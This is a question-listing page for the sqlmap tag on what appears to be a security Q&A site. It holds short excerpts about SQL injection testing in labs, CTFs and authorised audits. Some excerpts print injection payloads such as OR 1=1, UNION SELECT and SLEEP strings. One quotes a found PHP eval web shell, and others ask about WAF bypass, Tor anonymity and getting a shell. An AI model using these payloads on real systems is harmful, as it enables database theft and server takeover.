Questions tagged [sqlmap]
sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers.
157
questions
0
votes
0
answers
33
views
sqlmap UNION query based injection, fix certain column values
I am going through some basic security training involving exploiting an SQL injection in a test service. I am trying to get sqlmap to dump the DB contents. I found a vulnerable endpoint, I can ...
- 109
0
votes
0
answers
15
views
sqlmap form data is empty
I am scanning my website
sqlmap -u http://127.0.0.1/form --forms --random-agent --data="password=NotEmpty" --batch -t logtraffic.txt
yet if I open logtraffic.txt I get
VIEWSTATE=...
- 1
0
votes
1
answer
38
views
sqlmap verbose level
pretty much on every resource I go, it says the sqlmap's verbose value -v can be from 1 to 6 and default is 1, I try to look anywhere to see the difference between those values, but I can not find any ...
- 1
0
votes
1
answer
49
views
How spamming entries in website database using the same IP address is possible?
I am working in a private company as VAPT Auditor. I am currently testing one of our project website which contains common features like login, sign up, etc. I mostly do manual testing using BurpSuite ...
- 1
0
votes
0
answers
124
views
sqlmap tampered payload doesn't insert correctly
My problem is that I have made my own tampered payload that should convert the actual payload to hex format.
You can see from the log that the tampered payload is correct, but in the post data "...
0
votes
0
answers
104
views
Extract data from request response and use it in next request in SQLmap
I want grab some data from response of request and put it in next request post data how to do that? I know that there is postprocess | preprocess features but how they work and how to edit response by ...
- 1
2
votes
1
answer
185
views
SQLi - how to dump data without knowing table & field names?
A rather specific question, but I'm trying to SQL inject a vulnerable web app to enumerate data. I have permission to do this.
The gist of it is there are some params, lets say 4 of them being sent to ...
- 250
1
vote
0
answers
113
views
Sql injection extract random bits instead of actual data
I was performing SQL injection through sqlmap and it showed that the parameter is vulnerable but it is only extracting random bits instead of actual data.
I am pasting extracted material here.
[00:12:...
- 11
-1
votes
1
answer
366
views
How to use sqlmap while website uses multiple redirects
I am testing a publicly available site https://example.com/ebill/login.php where I fill the form with account number, like 34413271 and a cookie is assigned for later urls to use, then the above URL ...
- 59
0
votes
1
answer
164
views
SQLMAP setting parameter
I am testing my own flask application that should be vulnerable.
I am using this in SQlmap:
sqlmap -u "https://test.heroku.com/checkusername/student*"
but the requests with payloads I am ...
0
votes
1
answer
97
views
Why are MySQL injections more limited than MS-SQL attacks?
I was watching the DEFCON 17: Advanced SQL Injection video here.
At 15:00, when discussing the various classes and types of SQL injection attackS, the speaker stated
With MySQL you really only have ...
- 181
0
votes
0
answers
83
views
Encoding javascript cookies in sqlmap
I'm trying to inject cookies that are already encoded in base64 that look like this:
XSRF-TOKEN=eyJpdiI6IioiLCJ2YWx1ZSI6IioiLCJtYWMiOiIqIn0=
Decoded looks like this:
XSRF-TOKEN={"iv":"*&...
- 1
1
vote
1
answer
1k
views
sqlmap is encountering 403 forbidden
I am trying to complete an SQL injection CTF here.
I confirmed just adding a single ' mark at the end of the URL caused a MySQL syntax error, and following this tutorial, I could complete this ...
- 181
0
votes
0
answers
478
views
How does the --os-shell parameter in Sqlmap work? Is it still anonymous over Tor?
How does the --os-shell parameter in Sqlmap work? I know its uploading a backdoor, but how is Sqlmap uploading it and is the file just a normal reverse shell trojan?
Also, is it still anonymous when ...
- 616
0
votes
1
answer
88
views
What is the wisdom of using the ASCII function in exploit SQLi?
I mean, I can exploit the vulnerability using a substring function and without using an ASCII function like:
SELECT username FROM users WHERE id = 1 AND (SELECT substring(password,1,1) FROM users ...
1
vote
1
answer
610
views
How secure and anonymous is the --tor parameter in Sqlmap?
How secure and anonymous is the --tor parameter in Sqlmap?
Does it really send every request over Tor and does it have any IP/DNS/STUN requests leak loopholes?
- 616
0
votes
0
answers
251
views
How to modify a database through SQL injection UNION?
I need help with an sqli exercise. I used sqlmap to find a UNION vulnerability.
I managed to get the H2 version with this payload:
string') UNION ALL SELECT NULL,H2VERSION(),NULL,NULL,NULL--
But I ...
- 1
0
votes
1
answer
630
views
Cloudflare SQLinjection protection
I'm testing for vulnerabilities for a specific site using sqlmap. However, the site has a cloudflare firewall which blocks queries including for example *, ANY or OR. I sort of found a bypass while ...
- 1
0
votes
0
answers
444
views
SQLMAP payloads don't work manually, why?
I was trying out SQLMAP on DVWA (medium security for SQL injection), and I did get a set of payloads (sqlmap chucked out a few payloads that should have worked). But entered manually, I couldn't get ...
- 1
2
votes
1
answer
181
views
API Sql Injection Need help
I need some help with sqli in API.
Webserver IIS 8.5
GET request looks like this
...
https://example.com/api/Search?q=Landing
Response look like this
HTTP/1.1 200 OK
...
[{"pageId":1,"...
- 21
0
votes
1
answer
87
views
Sqlmapapi configuring task options
I'm trying to make scans using Sqlmapapi. I have added a new task, and when I call /option/$taskId/list in response, I receive JSON output with options that can be set.
I could not find any ...
- 1
0
votes
0
answers
1k
views
Sqlmap, All tested parameters do not appear to be injectable
I am new to SQLMAP, I have been practicing with the Altoro Mutual portal which is a vulnerable portal, just enter the code 'OR 1 = 1 - in one of its forms (Login) and we will obtain administrator ...
- 1
0
votes
1
answer
308
views
Sqlmap won't pick up injection point. Tweak?
I manually found an injection point, on CTF VM, located on POST form. I found it with the following manual payload :
1' OR SLEEP(1)-- t
I would like to use sqlmap. I ended with following call :
...
- 103
0
votes
0
answers
2k
views
SQLMap - Invalid character detected. retrying
I recently discovered an time-based blind SQL injection attack on one of the websites. I was able to dump the data with 100 threads (By default, SQLmap doesn't allow more than 10 but, I modified the ...
- 626
1
vote
1
answer
2k
views
Using sqlmap for detecting SQLi on Juice shop's login page
New Sqlmap user, so please be patient :)
I've started looking at the tool and I'm curious about its use. For instance, the login page of OWASP's Juice shop is vulnerable to sql injection (' OR 1=1-- ...
- 113
1
vote
2
answers
1k
views
How to configure SQLMap to attack JSON parameter?
Part of a box I'm doing, I can successfully pass basic SQL query 'or'1'='1 with no errors,
{"search":"'or'1'='1"}
Output:
HTTP/1.0 200 OK
Trying to error the query
{"search&...
- 21
1
vote
0
answers
709
views
Can sqlmap be used to extract data if the attack is blind?
I'm solving this challenge/lab where SQLi is inside the cookie parameter. After solving it manually, I thought to check if it can extract data. I used sqlmap with --cookie=COOKIE* (Notice * that's the ...
- 11
1
vote
0
answers
837
views
Is it possible to enumerate Microsoft Access database using sqlmap?
I'm trying to enumerate a Microsoft Access database using sqlmap, in particular I run this command:
sqlmap -r http.txt --risk 2 --dump-all
Anyway it seems is not retrieving a single information. Am I ...
- 557
1
vote
1
answer
2k
views
Sqlmap Sleepy User-Agent
I was testing Burp Suite Crawl on some old php sites I made and it found Sleepy User-Agent
SQL injection vulnerability
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, ...
- 11
0
votes
1
answer
639
views
SQLi Filter Bypass with banned table/column names
I've studying and practicing different approach to SQLi filter bypass and I faced a challenge. What if the WAF filters look for specific strings rather than SQL keywords?
Example:
Filter: /UNION/
SQLi:...
- 133
0
votes
0
answers
332
views
Understanding sqlmap's payload for blind sql injection
I am fairly new to sql injections and tried to solve a little hackit to understand everything better. I wasn't able to solve one of the levels so I ran sqlmap to see what it would do. The payloads ...
- 111
0
votes
0
answers
391
views
Why does sqlmap dump column ids only?
I have accessed a database and using --is-dba , I know that the user IS NOT database admin and also using --privileges , I know that the privileges is USAGE . Now I want to know is this the reason ...
- 21
2
votes
1
answer
742
views
Paths in web servers
Using sqlmap I was able to gain access to one database and using --current-user and --privileges. I can confirm that the user is root@localhost with full privileges.
The part I have problem with is ...
- 21
1
vote
2
answers
11k
views
Never use stored session in sqlmap
I am trying to make sqlmap to avoid fetch data from stored session. How do I achieve that? I have performed sqlmap check once on a target and now that target is offline, I want sqlmap to just stop the ...
- 111
-1
votes
1
answer
1k
views
How to continue performing checks on a site if sqlmap found an issue on a URL of the same site while using --batch option?
I have a file /tmp/urls which has following URLs:
http://127.0.0.1:8081/?id=1
http://127.0.0.1:8081/?id2=1
I am using this command to perform checks on file URLs concurrently:
python3 sqlmap.py --...
- 111
-1
votes
1
answer
1k
views
How can I dump the last row of a table?
Now in order to be familiar with a site's table , I need to dump the last row of a table named "account" . can you please tell me what parameters I can use to dump only the last row of a ...
- 21
0
votes
1
answer
5k
views
sqlmap won't give me results i'm looking for [closed]
I am trying to use sqlmap. Although every time I use it, I just get a response of:
[13:39:11] [CRITICAL] previous heuristics detected that the target is protected by some kind of WAF/IPS
[13:39:11] [...
- 9
0
votes
1
answer
1k
views
SQLMap Only Returns information_schema
I run this command python sqlmap.py -u https://acme.com/post.php --data "id=1" --tamper="between,randomcase,space2comment" -v 3 --random-agent --dbs but SQLMap only returns ...
- 48
0
votes
0
answers
684
views
Sqlmap not detects error based injection
I am working on Hack the VM (hard machine) for my OSCP preparation
There is a web app with two drop down boxes.. Year and month.. both contain numbers and a submit to fetch data from DB based on year ...
- 43
0
votes
0
answers
36
views
.php code in .txt file with eval() function [duplicate]
I have found three files with name as below:
a.phpfile.txt
b.phpfile.txt
c.phpfile.txt
when i open, each file contained with the following code:
<?php @eval($_POST[x]);
I have deleted all ...
- 139
0
votes
0
answers
241
views
SQLmap automation
I'm automating SQL injection using sqlmap. Is there someone who managed to parse sqlmap console output to only report critical findings (vulnerable pages to SQL injection)?
The tool doesn't support ...
- 11
0
votes
0
answers
1k
views
Sqlmap waf bypass
This is my first post here, sorry for my english.
Im making some test around, because i want to learn more about sql injection. Im not really good as manual sql injection, so im using sqlmap.
what ...
- 1
0
votes
1
answer
3k
views
SQLmap finds injectable 'id' parameter but the response is 'Internal Server Error'
I am trying to understand the SQLi so I ran SQLMap with '-vvv' parameter
4: Show also HTTP requests.
I did scan one of the vulnerable and 'free to hack' sites.
In one of the requests sent, the ...
3
votes
2
answers
10k
views
SQLMap Cookie Injectioin with Working Manual SQLi
I'm using an existing exploit which calls for a cookie called wp_sap to be set with the following value:
["1650149780')) OR 1=2 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,@@version,11#"]
This works ...
- 181
0
votes
1
answer
1k
views
SQLMAP Redirect using xampp
I am learning SQLi using sqlmap and xampp.
I set up my lab the same way as per tutorial but when I run
sqlmap.py -u "http://localhost/bwapp/sqli_1.php?title=1*"
the error got 302 redirected to
...
5
votes
3
answers
8k
views
Can sqlmap test for SQL injection in Basic Authentication?
I have been trying to make sqlmap test the username parameter in a fake login page that uses basic authentication. However I cannot make it test the Authentication header via the asterisk trick:
...
- 174
1
vote
0
answers
635
views
SQLMAP with single URL application
I have a local application which will be accessible only after login. Its single URL application, URL of application won't change, just it use 'XMLHttpRequest' to refresh the content of screen based ...
- 111
0
votes
0
answers
349
views
Response seems to get redirected if SQL injection query succeeds, if not then it doesn't get redirected
Under the authorization of my friend, I am testing his website against potential vulnerabilities.
I was trying to find if I was able to inject a SQL query into a POST request parameter hi' or 1=1 --:
...
0
votes
0
answers
1k
views
Is this SQLMap query is correct?
I am practicing on some vulnerable application, and I am asked to find an injection vulnerability with a payload. it states there is a common and simple filter in place. Then I need to extract the ...
- 121
3
votes
0
answers
816
views
how to get shell from blind sql injection? [closed]
I'm trying to gain access to a web server after I found blind SQLi on the website. I used sqlmap to automate things.
I can read the databases and tables. tried to find a way to get a shell from SQL ...
- 41